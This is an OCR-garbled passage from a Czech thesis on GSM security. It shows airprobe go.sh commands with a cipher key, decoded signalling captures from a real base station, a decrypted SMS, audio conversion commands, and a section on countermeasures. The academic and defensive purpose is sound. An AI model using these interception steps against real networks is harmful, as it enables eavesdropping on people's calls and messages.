./go.sh data gsm 17051.cfile 64 0OC

JelikoZ se jednalo o realnou BTS bylo potieba zjistit kdy doslo k Pagingu sledované MS
a to proto, Ze poté nasleduje prikaz Immediate Assignment urCujici nasledny kanal pro
komunikaci. Na ndsledujicim obrazku 5.13 je mozné vidét Paging Request s TMSI obéti a
nasledny Immediate Assignment.

MNo. Time Source

Destination Protocol Length Info
L10 L. OY33IUUU LL7 VUL L Lei WU L QoM 1 AF Ol (LLLR) LKK) FdyInyg KeguesL 1ype 3
217 1.90723300127.0.0.1 127.0.0.1 LAPDM 81 v, func=unknown
218 1.92535800127.0.0.1 127.0.0.1 GSMTAP 81 (cccH) (RR) system Information Type 4
219 1.92824400127.0.0.1 127.0.0.1 GSMTAP 81 (cccH) (RR) Immediate Assignment
220 1.93324700127.0.0.1 127.0.0.1

GSMTAP 81 (cccH) (RR) Paging Request Type 3
® Frame 219: 81 bytes on wire (648 bits), 81 bytes captured (648 bits) on interface 0
# Ethernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)
# Internet Protocol version 4, Src: 127.0.0.1 (127.0.0.1), pst: 127.0.0.1 (127.0.0.1)
® User Datagram Protocol, Src Port: 46967 (46967), Dst Port: gsmtap (4729)
[# GSM TAP Header, ARFCN: O (Downlink), T5: 0, Channel: BCCH (0)
E G5M CCCH - Immediate Assignment
# L2 Pseudo Length
# Protocol Discriminator: Radio Resources Management messages
Message Type: Immediate Assignment
# Page Mode
# Dedicated mode or TBF
= Channel pescription

0111 0... = SDCCH/8 + SACCH/CS or CBCH (SDCCH/8), subchannel &
vev. 2001 = Timeslot: 1
101. .... = Training sequence: 5
..0 .... = Hopping channel: No
. 00.. = spare

single channel : ARFCN 94
# Reguest Reference
# Timing advance
@ mMobile Allocation
# IA ResT OCTers

Obrazek 5.13: Pridéleni signalizacniho kandlu pro odchozi hovor

V tomto okamziku MS za¢ne sledovat signalizacni kanal SDCCH/8 na TS 1. Dalsim
krokem je tedy analyza tohoto kanalu:
./go.sh data gsm 17051.cfile 64 1S
Vétsina komunikace na tomto kandlu je vSak Sifrovand a proto pti nezadani Sifrovaciho
klice ziskame pouze nesifrované informace, jako jsou autentizacni pozadavky, Location Update,

a predev§im zpravy Ciphering Mode Command, které zahajuji proces Sifrovani komunikace
mezi MS a BTS.

V redlném tutoku by nyni bylo potieba provést prolomenti Sifrovaciho klice Kc, princip
tohoto utoku je popsan v kapitole 4. Jak jiz bylo zminéno vyse, pro testovaci Ucely byl ziskan
Sifrovaci kli¢ pomoci aplikace SIMSpy a ¢tecky SmartCard.

./go.sh data gsm 17051.cfile 64 1S 33b29%atbbe475683a
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Analyzou vystupu je mozno odhalit ¢islo volajicitho (obrazek 5.14) ve zpravé Call
Setup.

Mo. Time Source Destination Protocol Length Info ~
2 U.04338/0012/.0.0.1 12/7.0.0.1 LAPDM 81 T, N(R)=2, N(5)=1(DTAP) (MM) Tdentity Request
3 0.05721400127.0.0.1 127.0.0.1 LAPDmM 81 U, func=UI(DTAP) (RR) System Information Type 5Ster
4 0.13012000127.0.0.1 127.0.0.1 LAPDm 81 1, N(R)=3, N(5)=2(DTAP) (CC) Setup
5 0.14402800127.0.0.1 127.0.0.1 LAPDM 81 U, func=UI(DTAP) (RR) System Information Type &
6 0.17357600127.0.0.1 127.0.0.1 LAPDM 81 u, func=ur v
= A mimARZAA 1T A A amm oA oA P === ===

Frame 4: 81 bytes on wire (648 bits), 81 bytes captured (648 bits) on interface 0
Ethernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)
Internet Protocol version 4, Src: 127.0.0.1 (127.0.0.1), Dst: 127.0.0.1 (127.0.0.1)
User Datagram Protocol, Src Port: 48941 (48941), Dst Port: gsmtap (4729)
GSM TAP Header, ARFCN: 0 (Downlink), TS: 1, channel: sDCCH/8 (6)
Link Access Procedure, Channel pm (LAPDM)
= GSM A-I/F DTAP - Setup
® Protocol Discriminator: €all Control; call related S5 messages

00.. .... = Seguence number: 0

..00 0101 = DTAP Call Control Message Type: Setup (0x05)
® Bearer Capability 1 - (Full rate support only Ms/fullrate speech version 1 supported)
# Calling Party BCD Number - (420724922233)

BEHEBD®

Obrazek 5.14: Cislo volajiciho

Nasleduje ptidéleni hovorového kandlu zpravou Assignment Command, ze které je

mozné identifikovat TS (2) a konfiguraci hovorového kanalu. Toto je zobrazeno na obrazku
5.15.

Mo. Time Source Destinatiol

n Protacol Length Info -
7 0.21700600127.0.0.1 127.0.0.1 LAPDm 81 5, func=RR, N(R)=4
8 0.23075200127.0.0.1 127.0.0.1 LAPDM 81 U, func=UI(DTAP) (RR) System Information Type 5
9 0.26024600127.0.0.1 127.0.0.1 LAPDM 81 I, N(R)=4, N(5)=3(DTAP) (RR) Assignment Command

10 0.30363000127.0.0.1 127.0.0.1 LAPDmM 81 u, func=ur

11 8.45204200127.0.0.1 127.0.0.1 LAPDM 81 u, func=uI(DTAP) (RR) System Information Type 5ter v

@ GEM TAP Header, ARFCN: U (Downlink), Ts: 1, Channel: SDCCH/8 (6) ~
® Link Access Procedure, Channel Dm (LAPDm)
[ GSM A-I/F DTAP - Assignment Command
® Protocol Discriminator: Radic Resources Management messages
DTAP Radio Resources Management Message Type: Assignment command (0x2e)
= channel Description 2 - Description of the First Channel, after time

0000 1... = TCH/F + FACCH/F and SACCH/F
co.. .010 = Timeslot: 2
101. .... = Training Sequence: 5
.0 .... = Hopping channel: Mo
00.. = Spare

Single channel : ARFCN 94
& Power Command
@ Channel Mode - Mode of the First channel(Channel set 1)

Obrazek 5.15: Pridéleni hovorového kanalu

Nasledné je mozné pristoupit také k ziskani vilastnich hovorovych pomocinasledujiciho
ptikazu:

./go.sh data gsm 17051.cfile 64 2T 33b29%atbe475683a

Vystupni zvukovy soubor je nasledné konvertovan a prejmenovan.

toast -d speech.au.gsm
mv speech.au call ts2 gsm 17051.au
cvlc call ts2 gsm 17051.au

Délka audio souboru odpovida délce hovoru, nicméné provedené konverzaci nelze
rozumgt.

Zachyceni SMS pak mélo obdobny pribéh jako pii odposlechu v testovaci siti a
samotna SMS vcetné¢ odchoziho Cisla je mozné vidét na obrazku 5.16.
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No. Time Source Destination Protocal Length Info A
20 8.72828400127.0.0.1 127.0.0.1 LAPDM 81 1, N(R)=0, N(S)=1 (Fragment)
21 8.77166000127.0.0.1 127.0.0.1 GSM SM2 81 I, N(R)=0, N(5)=2(DTAP) (SMS) CP-DATA (RP) RP-DATA (Network to Ms
22 8.79911600127.0.0.1 127.0.0.1 LAPDM 81 U, func=UI(DTAP) (RR) System Information Type &
23 8.81504400127.0.0.1 127.0.0.1 LAPDM 81 u, func=ur
24 8.85842900127.0.0.1 127.0.0.1 LAPDM 81 5, func=Rr, N(R)=1 v

GSM A-I/F RP — RP-DATA (NETWOrK TO MS)
[ GSM SMS TPDU (GSM 03.40) SMS-DELIVER
. TP-RP: TP Reply Path parameter is not set in this SM5 SUBMIT/DELIVER
TP-UDHI: The TP uD field contains only the short message
TP-SRI: A status report shall not be returned to the sME
I TP-MM5: No more messages are waiting for the M5 in this sSC
...... 00 = TP-MTI: SMS-DELIVER (0)
TP-originating-Address - (420724922233)
TP-PID: O
TP-DCS: 0
TP-Service-Centre-Time-Stamp
TP-user-Data-Length: (14) depends on pata-Coding-scheme
& TP-User-Data
SMS text: Testovaci SMS

Obrazek 5.16: Odesland SMS
V ramci této casti se tedy uspésné podafilo ziskat a deSifrovat signalizacni data
prenasena radiovym prostiedim mezi redlnou BTS a testovacim mobilnim zatizenim. Je mozno
ziskat obsah SMS zprav, popt. informace o sestavovani hovort.. Vlastni telefonni hovor se
nepodaftilo Gspésné obnovit, toto je pravdépodobne zpiisobeno nedostatecnou kvalitou signalu
popt. dalSimi problémy pti zachytavani dat.
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6 Vhodna bezpecnostni opatieni

V této casti se zamétuji na zhodnoceni rizik v systému GSM a na moznosti vhodnych
bezpecnostnich opatieni k jejich minimalizaci. Jak z teoretické ¢asti, kde popisuji realizované
utoky vici GSM siti tak z prakticky provedenych pokusi je patmné, Ze bezpecnost GSM systému
je v kritické situaci a jeji zneuziti je mozné s minimaInimi naklady.

6.1 Obousmérna autentizace

Ackoliv se podvrzeni zikladnové stanice zdalo pfi navrhu systému GSM jako
nepravdépodobné, s rozvojem technologii a snizenim nakladu se tento utok stal jednoduse
uskutecniteIny. Jako minimaIni vhodné opatieni proti podvrzeni zdkladnové stanice je posileni
procesu autentizace. Zavedenim obousmérné autentizace mezi MS a BTS by bylo vyznamné
komplikovano podvrzeni zdkladnové stanice.

Na téma vzajemné autentizace v systétmu GSM bylo publikovano nekolik zprav,
nicméné zavazné nebyla prijata Zadna specifikace umoziujici naslednou implementaci. V tomto
ohledu je potfeba urychlit prechod na sit¢ 3. nebo 4. generace, které vzajemnou autentizaci
nativné podporuji.

6.2 Sifrovani komunikace

Sifrovaci algoritmy A5/1 a A5/2 pouZité pro utajeni dat a signalizace lze v souasnosti
povazovat za nedostate¢né. V roce 2006 vydala asociace 2006 doporuceni ohledné zastaveni
podpory §ifry AS5/2. Podpora Sifrovaciho algoritmu A5/3 byla dodatecné piidana a v souCasnosti
se jeji podpora postupné rozsifuje napii¢ jednotlivymi operatory.

Byly vypracovany zpravy popisujici teoretickou prolomitelnost A5/3, které jsou vsak
v souCasné¢ dob¢ prakticky nerealizovatelné. Nicméné ani pouzitim siln€jSiho Sifrovani neni
zajiSténa bezpe€nost prenasenych dat. Konfigurace Sifrovani je v systému GSM volitelnd a
dokud bude GSM podporovat $ifry, které jsou jiz prolomeny (A5/1) je moZno vyuZitim Gtoku
prostiednictvim falesné BTS ziskat pouzity Sifrovaci klic. Toto je dano principem fungovani
A3/8 (viz kapitola 2.1.1) , kdy pro shodnou vyzvu RAND je vypocten shodny Sifrovaci klic.
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Cilem této prace bylo provedeni analyzy bezpecnostnich problému syst¢tmu GSM a
naslednd praktickd realizace vybranych Utokl.. Je zde popsana architektura sit¢ GSM se
zamétenim na radiové rozhrani, kde jsou predevSim popsany bezpecnostni mechanismy, logické
kandly a signalizace. Jsou zde prezentovany nejznaméjsi bezpecnostni rizika systému GSM
spolecné s popisem realizace utokt, které byly do dnesni doby prezentovany.

Hlavni ¢asti této prace pak byla samotna realizace vybranych utokd. Realizace vSech
utokll byla spojena s komplikacemi ohledn¢ kompatibility a dostupnosti potiebnych nastrojt,
kde tyto nastroje vétSinou nebyly doplnény o potiebnou dokumentaci.

V piipadé realizace IMSI catcheru jsem uspésné za vyuziti OpenBTS a softwarového
radia USRP vytvotil podvrzenou zakladnovou stanici, ktera umoznovala ziskani hodnot IMSI
uzivatell, ktetfi se nachazeli v oblasti obsluhované timto zatizenim. Pro aktivni odposlech jsem
vyuzil znalosti z pfedchoziho utoku, kde OpenBTS byla rozsitena o softwarovou pobockovou
ustfednu Asterisk, kterd obstaravala propojovani hovord. Prostfednictvim Asterisku se pak
povedlo zaznamenat realizované odchozi hovory.

Pti pasivnim odposlechu jsem usp€Sn¢ v ramci laboratornich podminek realizoval
zachyceni signalizacnich zprav a vlastnich hovorovych dat, které bylo mozné nasledn€ ptehrat
ve forme audio zaznamu. V piipadé dat ziskanych z realného provozu se podaftilo ziskat piistup
k zabezpecené signalizaci, coz umoznilo otevieny pristup k SMS zpravam. V pripadé hovoru se
podafilo ziskat informace o volajicim ¢i volaném, ale z divodi vysoké nachylnosti na
chybovost a nizkou kvalitou ptijimace se vlastni audio zaiznam hovoru nepodatilo ziskat.

Na zaklad¢ této prace byl podan ¢lanek na odbornou konferenci NAEC2014 v Italii
s nazvem ,,Study of security issues in GSM network and their practical demonstration*. Tento
¢lanek byl nasledné komisi uspésné prijat.

Na tuto praci je mozno navazat v oblasti ziskani Sifrovaciho klice na zaklad¢ dat
zachycenych pri pasivnim odposlechu za vyuziti predpoc itanych tabulek tzv. Rainbow tables.
Dale je mozno se vice vénovat zachytdvani komunikace za vyuziti mobilnich telefont
s programovatelnym firmware v ramci projektu OsomocomBB.
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